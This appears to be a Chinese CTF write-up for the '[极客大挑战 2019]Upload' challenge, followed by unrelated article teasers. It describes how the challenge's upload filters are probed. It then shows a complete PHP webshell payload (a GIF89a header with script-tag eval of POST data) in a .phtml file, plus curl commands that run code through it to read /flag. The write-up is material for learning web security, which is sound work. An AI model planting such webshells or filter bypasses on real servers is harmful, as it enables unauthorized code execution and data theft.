[极客大挑战 2019]Upload

发布时间：2026/9/24 20:59:37

[极客大挑战 2019]Upload
正文一、网站侦查二、测试过滤规则三、绕过 ? 过滤四、 执行命令获取 flag核心思路总结正文一、网站侦查访问目标网站发现是一个文件上传页面提交到upload_file.php。通过 curl 查看响应头获得关键信息curl-s-vhttp://ceb1f6a05511faab4e30876f.http-ctf2.dasctf.com:8021服务器: openresty (nginx 变体)PHP 版本: 5.5.9-1ubuntu4.29上传接口:/upload_file.php上传路径:/upload/二、测试过滤规则通过多次上传测试逐步发现了服务器的三层过滤机制测试上传的文件内容服务器响应结论.php后缀?php phpinfo();?Not image!后缀名被检查.jpg/.png后缀 GIF89a 头GIF89a?php ...Dont lie to me, its not image at all!!!扩展名必须匹配文件头.gif后缀 GIF89a 头 ?phpGIF89a?php ...NO! HACKER! your file included ?内容中过滤了?.pht/.php5/.php4/.php3GIF89a?php ...NOT pht!/NOT php5!等黑名单检测额外的 PHP 扩展名.phtml后缀GIF89a?php ...NO! HACKER! your file included ?.phtml不在黑名单中但?仍然被过滤说明phtml可以上传但文件内容不能包含?三、绕过?过滤PHP 支持多种方式标记 PHP 代码?php ... ?标准方式被过滤? ... ?短标签也被过滤因为包含?script languagephp ... /script不含?可以绕过所以可以构造phtml格式的PayloadGIF89ascript languagephpeval($_POST[cmd]);/script四、 执行命令获取 flag上传webshell.phtml文件文件存储在/upload/webshell.phtml通过 POST 发送cmd参数执行 PHP 命令# 列出根目录发现 /flag 文件curl-shttp://target/upload/webshell.phtml-dcmdvar_dump(scandir(/));# 读取 flagcurl-shttp://target/upload/webshell.phtml-dcmdecho file_get_contents(/flag);核心思路总结文件上传绕过 扩展名绕过 内容校验绕过 内容过滤绕过扩展名: .phtml黑名单也许漏了它图片头: GIF89a让 getimagesize() 以为是真图片PHP 代码:script languagephp不含?绕过关键字过滤

相关新闻

Claude API开发实战：从基础调用到企业级应用

Claude API开发实战：从基础调用到企业级应用

2026/8/24 22:35:42

1. 项目概述"Claude Code - The Practical Guide"是一份面向开发者的实战指南，专注于帮助程序员快速掌握Claude AI的编程接口和应用开发技巧。作为一名长期从事AI应用开发的工程师，我发现很多同行在使用Claude API时都会遇到相似的困惑和挑战&…

Linux Pacemaker 高可用集群配置与 Nginx 优化实战指南

Linux Pacemaker 高可用集群配置与 Nginx 优化实战指南

2026/8/24 22:35:43

1. 概述：Pacemaker 高可用核心逻辑 Pacemaker 高可用配置的核心流程遵循一个清晰的逻辑链条： 建立集群基础：配置节点互信与集群通信。初始化集群：启动集群服务并完成基础配置（如禁用 STONITH）。定义与管理资…

ARM Cortex-M4异常处理与μDMA控制器实战解析

ARM Cortex-M4异常处理与μDMA控制器实战解析

2026/8/24 22:35:43

1. 项目概述与核心价值在嵌入式系统开发，尤其是基于ARM Cortex-M系列处理器的项目中，异常处理和直接内存访问（DMA）是决定系统稳定性和性能上限的两大基石。很多开发者，尤其是从应用层转向底层或从单片机入门的朋友&…

CANN/GE ACL数据集缓冲区添加函数

CANN/GE ACL数据集缓冲区添加函数

2026/9/23 22:20:06

aclmdlAddDatasetBuffer 【免费下载链接】ge GE（Graph Engine）是面向昇腾的图编译器和执行器，提供了计算图优化、多流并行、内存复用和模型下沉等技术手段，加速模型执行效率，减少模型内存占用。 GE 提供对 PyTorch、Te…

用ffmpeg高效批量调整图片尺寸的实战指南

用ffmpeg高效批量调整图片尺寸的实战指南

2026/9/23 14:32:22

/* MD / 富文本中的 .toc（含博客园搬家等嵌套结构）；.toc-box 在侧栏，不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p（:empty 仍占 20px），一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Transformers 音频特征提取工具库 audio_utils 全解析：从 Mel 刻度换算到对数 Mel 频谱

Transformers 音频特征提取工具库 audio_utils 全解析：从 Mel 刻度换算到对数 Mel 频谱

2026/9/24 3:39:17

Transformers 音频特征提取工具库 audio_utils 全解析：从 Mel 刻度换算到对数 Mel 频谱 【免费下载链接】transformers 🤗 Transformers: the model-definition framework for state-of-the-art machine learning models in text, vision, audio, and mu…

RustFS 多节点集群重启与滚动升级实战：Readiness、Quorum 与 Degraded 模式完全指南

RustFS 多节点集群重启与滚动升级实战：Readiness、Quorum 与 Degraded 模式完全指南

2026/9/23 14:31:31

RustFS 多节点集群重启与滚动升级实战：Readiness、Quorum 与 Degraded 模式完全指南 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system sup…

Java Integer缓存揭秘：128陷阱原理、避坑与面试全解

Java Integer缓存揭秘：128陷阱原理、避坑与面试全解

2026/9/24 7:10:52

/* MD / 富文本中的 .toc（含博客园搬家等嵌套结构）；.toc-box 在侧栏，不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p（:empty 仍占 20px），一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

RustFS Scanner 数据用量发布权威性决策：配额准入如何获得可用的权威依据

RustFS Scanner 数据用量发布权威性决策：配额准入如何获得可用的权威依据

2026/9/23 14:34:03

RustFS Scanner 数据用量发布权威性决策：配额准入如何获得可用的权威依据 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system supporting mi…

远程协作的工作台整理

远程协作的工作台整理

2026/9/24 16:02:49

远程协作的工作台整理远程协作的核心不是再加一个工具，而是让交接信息足够完整。异步任务要写明目标、输入位置、完成标准和需要决策的人。 工作台的最小配置 将日程、待办、代码和沟通入口收拢到少数固定位置；通知按紧急程度分层。工作台不需要模仿办公…

持续集成 流水线自动化与 声明式交付 实践：原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践：原型怎样变成可用功能

2026/9/21 23:38:13

持续集成 流水线自动化与 声明式交付 实践：原型怎样变成可用功能分类：[AI/大模型]细分主题：AI 增强型 CI/CD 流水线自动化与 GitOps 实践：Agent 工作流、工具调用与任务拆解：从原型到生产的验收清单很多团队在尝试用大…

容器编排 生产环境运维与排障实战：复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战：复盘记录怎样真正派上用场

2026/9/22 0:48:53

容器编排 生产环境运维与排障实战：复盘记录怎样真正派上用场分类：[工程技术]细分主题：Kubernetes 生产环境运维与排障实战：可复制的项目复盘模板与决策记录大部分团队的事故复盘报告，最后都变成了躺在 Confluence 或钉…